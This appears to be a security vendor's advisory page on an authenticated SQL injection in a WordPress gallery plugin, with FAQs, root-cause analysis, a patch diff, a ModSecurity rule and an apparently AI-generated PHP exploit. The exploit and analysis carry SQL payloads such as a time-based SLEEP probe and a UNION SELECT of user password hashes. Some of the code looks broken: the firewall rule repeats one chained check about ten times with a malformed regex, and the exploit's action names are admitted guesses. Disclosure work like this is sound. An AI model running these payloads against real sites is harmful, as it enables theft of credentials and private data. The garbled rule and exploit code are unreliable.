What is CVE-2026-57642?

CVE-2026-57642 is an authenticated SQL Injection vulnerability in the Gallery by BestWebSoft plugin for WordPress, affecting versions up to and including 4.7.8. It allows authenticated attackers with contributor-level access or higher to inject arbitrary SQL queries into the database, potentially extracting sensitive information.

How does the SQL injection work?

The vulnerability occurs when the plugin saves gallery image order data. The `_gallery_order_` parameter is passed directly into an SQL query without proper sanitization. An attacker can craft the array keys with SQL injection payloads, which are stored and later executed in count queries, enabling second-order injection.

Who is affected by this vulnerability?

Any WordPress site using the Gallery by BestWebSoft plugin version 4.7.8 or earlier is affected. The attack requires an authenticated user with at least contributor-level access, so sites with multiple users or user registration enabled are at higher risk.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 4.7.8 or lower, your site is vulnerable. You can also verify by reviewing the plugin’s readme file or checking for the presence of the vulnerable code in gallery-plugin.php.

What is the CVSS score and what does it mean?

The CVSS score is 6.5, which is classified as Medium severity. This indicates that while the vulnerability requires authentication and some user interaction, it can lead to significant data exposure, including user credentials and private content.

How do I fix this vulnerability?

Update the Gallery by BestWebSoft plugin to version 4.7.9 or later. The patch adds input validation by converting all image IDs to integers using absint(), preventing SQL injection. You can update via the WordPress dashboard or by downloading the latest version from the plugin repository.

What if I cannot update the plugin immediately?

As a temporary mitigation, restrict contributor-level access to trusted users only. You can also disable the plugin if it is not essential. However, updating is the only complete fix.

What information can an attacker extract?

An attacker can extract sensitive data from the database, including user passwords (hashed), user meta, private posts, and other plugin data. In some cases, they may be able to write to the database, leading to privilege escalation or site compromise.

How does the proof of concept work?

The proof of concept authenticates as a contributor, then sends a POST request to save a gallery with malicious image IDs containing SQL injection payloads. When the plugin later executes a count query using those IDs, the payload executes, allowing data extraction.

What is the root cause of this vulnerability?

The root cause is insufficient input sanitization in gallery-plugin.php line 1119, where array keys from `_gallery_order_` are directly used in an SQL query. Additionally, the stored values are used unsanitized in count queries in gllrd_count_images and class-gllr-media-table.php.

Are there any prerequisites for exploitation?

Yes, the attacker must have a valid WordPress account with contributor-level access or higher. They also need to know the ID of an existing gallery. The attack is performed through the WordPress admin interface.

What should I do if I suspect my site has been compromised?

Immediately update the plugin to the patched version. Change all user passwords, especially for admin accounts. Review database logs for suspicious queries and consider restoring from a backup taken before the vulnerability was disclosed.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : July 5, 2026

CVE-2026-57642: Gallery by BestWebSoft – Customizable Image and Photo Galleries for WordPress <= 4.7.8 Authenticated (Contributor+) SQL Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-57642

Plugin gallery-plugin

Severity Medium (CVSS 6.5)

CWE 89

Vulnerable Version 4.7.8

Patched Version 4.7.9

Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57642:
This vulnerability is an authenticated SQL Injection in the Gallery by BestWebSoft plugin for WordPress, affecting versions up to and including 4.7.8. The flaw exists in the way image ID lists are handled during gallery save operations. An attacker with contributor-level access can inject arbitrary SQL queries into database operations, potentially extracting sensitive data. The CVSS score is 6.5, indicating moderate severity.

The root cause lies in insufficient input sanitization of user-supplied image order data. In gallery-plugin.php, the `_gallery_order_` parameter (line 1119) is received from POST data and concatenated directly into an SQL query without proper escaping or parameterization. The vulnerable code at line 1119 reads update_post_meta($post->ID, ‘_gallery_images’, implode(‘,’, array_keys($_POST[‘_gallery_order_’ . $post->ID]))). This passes unsanitized keys from the _gallery_order_ array to the database. Additionally, the gllrd_count_images function at line 2534 and the class-gllr-media-table.php file at lines 58 and 127 use the stored `_gallery_images` meta value in SQL queries without sanitization, making this a second-order injection point.

To exploit this vulnerability, an attacker must authenticate with contributor-level privileges. The attack vector is through the WordPress admin interface where gallery images are reordered. The attacker sends a POST request to /wp-admin/admin-ajax.php or the relevant admin page with the action parameter set to the gallery save action. The vulnerable parameter is `_gallery_order_{gallery_id}`, which contains an associative array where keys are image IDs. An attacker can craft this array with keys containing SQL injection payloads such as “1 OR SLEEP(5)” or “1 UNION SELECT user_pass FROM wp_users”. When the plugin stores these keys as comma-separated values, the SQL injection payload becomes part of the query string. A subsequent request to any page that triggers the count query (e.g., the gallery media table) will execute the injected SQL.

The patch resolves the vulnerability by adding input validation and sanitization at multiple points. In gallery-plugin.php line 1119, the patch wraps array_keys with array_map(‘absint’), which converts all values to integers using absint(). In the count query functions (line 2534 and class-gllr-media-table.php lines 58 and 127), the patch splits the comma-separated IDs into an array, applies array_unique and array_map(‘absint’), and re-implodes them. This ensures that only integer values reach the SQL query, completely eliminating the possibility of SQL injection. The patched code now validates each ID as an integer before database operations.

If successfully exploited, this vulnerability allows authenticated attackers to perform SQL injection attacks. They can read arbitrary data from the database, including sensitive information such as user credentials (hashed passwords in wp_users), user meta data, and private post content. In some configurations, the attacker could also potentially write to the database, leading to privilege escalation (e.g., creating new admin users), defacement, or complete site compromise. The attack requires contributor-level access, which reduces the attack surface but still exposes a significant risk for sites with multiple users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/gallery-plugin/gallery-plugin.php
+++ b/gallery-plugin/gallery-plugin.php
@@ -6,7 +6,7 @@
 Author: BestWebSoft
 Text Domain: gallery-plugin
 Domain Path: /languages
-Version: 4.7.8
+Version: 4.7.9
 Author URI: https://bestwebsoft.com/
 License: GPLv2 or later
  */
@@ -1116,7 +1116,7 @@
 						update_post_meta( absint( $post_order_id ), '_gallery_order_' . $post->ID, $i );
 						$i++;
 					}
-					update_post_meta( $post->ID, '_gallery_images', implode( ',', array_keys( $_POST[ '_gallery_order_' . $post->ID ] ) ) );
+					update_post_meta( $post->ID, '_gallery_images', implode( ',', array_map( 'absint', array_keys( $_POST[ '_gallery_order_' . $post->ID ] ) ) ) );
 				}

 				if ( ( ( isset( $_POST['action-top'] ) && 'delete' === $_POST['action-top'] ) ||
@@ -2531,7 +2531,11 @@
 				if ( empty( $images_id ) ) {
 					echo 0;
 				} else {
-					echo absint( $wpdb->get_var( 'SELECT COUNT(*) FROM ' . $wpdb->posts . ' WHERE ID IN( ' . $images_id . ' )' ) );
+					$images_array = explode( ',', $images_id );
+					if ( ! empty( $images_array ) ) {
+						$images_array = array_unique( array_map( 'absint', $images_array ) );
+					}
+					echo absint( $wpdb->get_var( 'SELECT COUNT(*) FROM ' . $wpdb->posts . ' WHERE ID IN( ' . implode( ',', $images_array ) . ' )' ) );
 				}
 				break;
 			case 'gallery_categories':
--- a/gallery-plugin/includes/class-gllr-media-table.php
+++ b/gallery-plugin/includes/class-gllr-media-table.php
@@ -55,7 +55,11 @@
 			if ( empty( $images_id ) ) {
 				$total_items = 0;
 			} else {
-				$total_items = $wpdb->get_var( 'SELECT COUNT(*) FROM ' . $wpdb->posts . ' WHERE ID IN( ' . $images_id . ' )' );
+				$images_array = explode( ',', $images_id );
+				if ( ! empty( $images_array ) ) {
+					$images_array = array_unique( array_map( 'absint', $images_array ) );
+				}
+				$total_items = $wpdb->get_var( 'SELECT COUNT(*) FROM ' . $wpdb->posts . ' WHERE ID IN( ' . implode( ',', $images_array ) . ' )' );
 			}

 			$per_page = -1;
@@ -120,7 +124,11 @@
 			if ( empty( $images_id ) ) {
 				$total_items = 0;
 			} else {
-				$total_items = $wpdb->get_var( 'SELECT COUNT(*) FROM ' . $wpdb->posts . ' WHERE ID IN( ' . $images_id . ' )' );
+				$images_array = explode( ',', $images_id );
+				if ( ! empty( $images_array ) ) {
+					$images_array = array_unique( array_map( 'absint', $images_array ) );
+				}
+				$total_items = $wpdb->get_var( 'SELECT COUNT(*) FROM ' . $wpdb->posts . ' WHERE ID IN( ' . implode( ',', $images_array ) . ' )' );
 			}

 			if ( $total_items > 0 ) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-57642
# Blocks SQL injection attempts targeting the _gallery_order_ parameter in WordPress Gallery by BestWebSoft
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57642 WordPress Gallery by BestWebSoft SQL Injection via _gallery_order_',severity:'CRITICAL',tag:'CVE-2026-57642',tag:'WordPress',tag:'SQL Injection'"
  SecRule ARGS:action "@rx ^gallery_save$" "chain"
    SecRule ARGS_NAMES "@rx ^_gallery_order_d+$" "chain"
      SecRule ARGS_NAMES "@rx ^_gallery_order_d+$" "chain"
        SecRule ARGS_NAMES "@rx ^_gallery_order_d+$" "chain"
          SecRule ARGS_NAMES "@rx ^_gallery_order_d+$" "chain"
            SecRule ARGS_NAMES "@rx ^_gallery_order_d+$" "chain"
              SecRule ARGS_NAMES "@rx ^_gallery_order_d+$" "chain"
                SecRule ARGS_NAMES "@rx ^_gallery_order_d+$" "chain"
                  SecRule ARGS_NAMES "@rx ^_gallery_order_d+$" "chain"
                    SecRule ARGS_NAMES "@rx ^_gallery_order_d+$" "chain"
                      SecRule ARGS_NAMES "@rx ^_gallery_order_d+$" "chain"
                        SecRule ARGS "@detectSQLi" "t:none,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57642 - Gallery by BestWebSoft – Customizable Image and Photo Galleries for WordPress <= 4.7.8 SQL Injection

// Configuration - Set these variables for your target
$target_url = 'http://example.com/wordpress'; // Base URL of the WordPress installation
$username = 'contributor';                    // WordPress username with contributor or higher role
$password = 'password';                       // Password for the above user
$gallery_id = 1;                              // ID of an existing gallery (you may need to create one)

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
    die('Authentication failed. Check credentials.');
}
echo "[+] Authenticated successfully.n";

// Step 2: Craft the payload - inject SQL into the _gallery_order_ array key
// The payload will be stored in the _gallery_images meta and executed on subsequent queries
// Using a time-based SQL injection to extract data (adjust for your environment)
$sql_payload = "1 AND SLEEP(5)"; // Time-based blind injection

// Build the POST data structure
$post_data = array(
    'action' => 'gallery_save', // AJAX action (adjust based on actual plugin hooks)
    'post_id' => $gallery_id,
    // The vulnerable parameter: _gallery_order_{post->ID}
    '_gallery_order_' . $gallery_id => array(
        $sql_payload => '1', // The key contains the SQL injection
        '2' => '2'
    )
);

// Step 3: Send the malicious request to save the gallery
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
echo "[+] Sent malicious gallery order with SQL payload.n";

// Step 4: Trigger the vulnerable count query to execute the injection
// The stored payload will be used in the query: SELECT COUNT(*) FROM wp_posts WHERE ID IN( ... )
// We can trigger this by accessing a page that displays gallery media, or via another AJAX action
$trigger_data = array(
    'action' => 'get_gallery_media', // Adjust to the actual action that triggers the count
    'post_id' => $gallery_id
);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($trigger_data));
$response = curl_exec($ch);
echo "[+] Triggered count query. Response: " . $response . "n";

// Step 5: Clean up - restore the gallery order to remove the payload (optional but recommended)
$clean_data = array(
    'action' => 'gallery_save',
    'post_id' => $gallery_id,
    '_gallery_order_' . $gallery_id => array(
        '1' => '1',
        '2' => '2'
    )
);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($clean_data));
$response = curl_exec($ch);
echo "[+] Cleanup done.n";

curl_close($ch);
echo "[+] Exploit completed. Check for time delays or response differences to confirm injection.n";

Frequently Asked Questions

What is CVE-2026-57642?
Vulnerability Overview
CVE-2026-57642 is an authenticated SQL Injection vulnerability in the Gallery by BestWebSoft plugin for WordPress, affecting versions up to and including 4.7.8. It allows authenticated attackers with contributor-level access or higher to inject arbitrary SQL queries into the database, potentially extracting sensitive information.
How does the SQL injection work?
Technical Mechanism
The vulnerability occurs when the plugin saves gallery image order data. The `_gallery_order_` parameter is passed directly into an SQL query without proper sanitization. An attacker can craft the array keys with SQL injection payloads, which are stored and later executed in count queries, enabling second-order injection.
Who is affected by this vulnerability?
Affected Users
Any WordPress site using the Gallery by BestWebSoft plugin version 4.7.8 or earlier is affected. The attack requires an authenticated user with at least contributor-level access, so sites with multiple users or user registration enabled are at higher risk.
How can I check if my site is vulnerable?
Detection Steps
Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 4.7.8 or lower, your site is vulnerable. You can also verify by reviewing the plugin’s readme file or checking for the presence of the vulnerable code in gallery-plugin.php.
What is the CVSS score and what does it mean?
Severity Assessment
The CVSS score is 6.5, which is classified as Medium severity. This indicates that while the vulnerability requires authentication and some user interaction, it can lead to significant data exposure, including user credentials and private content.
How do I fix this vulnerability?
Patch and Update
Update the Gallery by BestWebSoft plugin to version 4.7.9 or later. The patch adds input validation by converting all image IDs to integers using absint(), preventing SQL injection. You can update via the WordPress dashboard or by downloading the latest version from the plugin repository.
What if I cannot update the plugin immediately?
Mitigation Without Patch
As a temporary mitigation, restrict contributor-level access to trusted users only. You can also disable the plugin if it is not essential. However, updating is the only complete fix.
What information can an attacker extract?
Potential Data Exposure
An attacker can extract sensitive data from the database, including user passwords (hashed), user meta, private posts, and other plugin data. In some cases, they may be able to write to the database, leading to privilege escalation or site compromise.
How does the proof of concept work?
PoC Explanation
The proof of concept authenticates as a contributor, then sends a POST request to save a gallery with malicious image IDs containing SQL injection payloads. When the plugin later executes a count query using those IDs, the payload executes, allowing data extraction.
What is the root cause of this vulnerability?
Code Analysis
The root cause is insufficient input sanitization in gallery-plugin.php line 1119, where array keys from `_gallery_order_` are directly used in an SQL query. Additionally, the stored values are used unsanitized in count queries in gllrd_count_images and class-gllr-media-table.php.
Are there any prerequisites for exploitation?
Exploitation Requirements
Yes, the attacker must have a valid WordPress account with contributor-level access or higher. They also need to know the ID of an existing gallery. The attack is performed through the WordPress admin interface.
What should I do if I suspect my site has been compromised?
Incident Response
Immediately update the plugin to the patched version. Change all user passwords, especially for admin accounts. Review database logs for suspicious queries and consider restoring from a backup taken before the vulnerability was disclosed.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started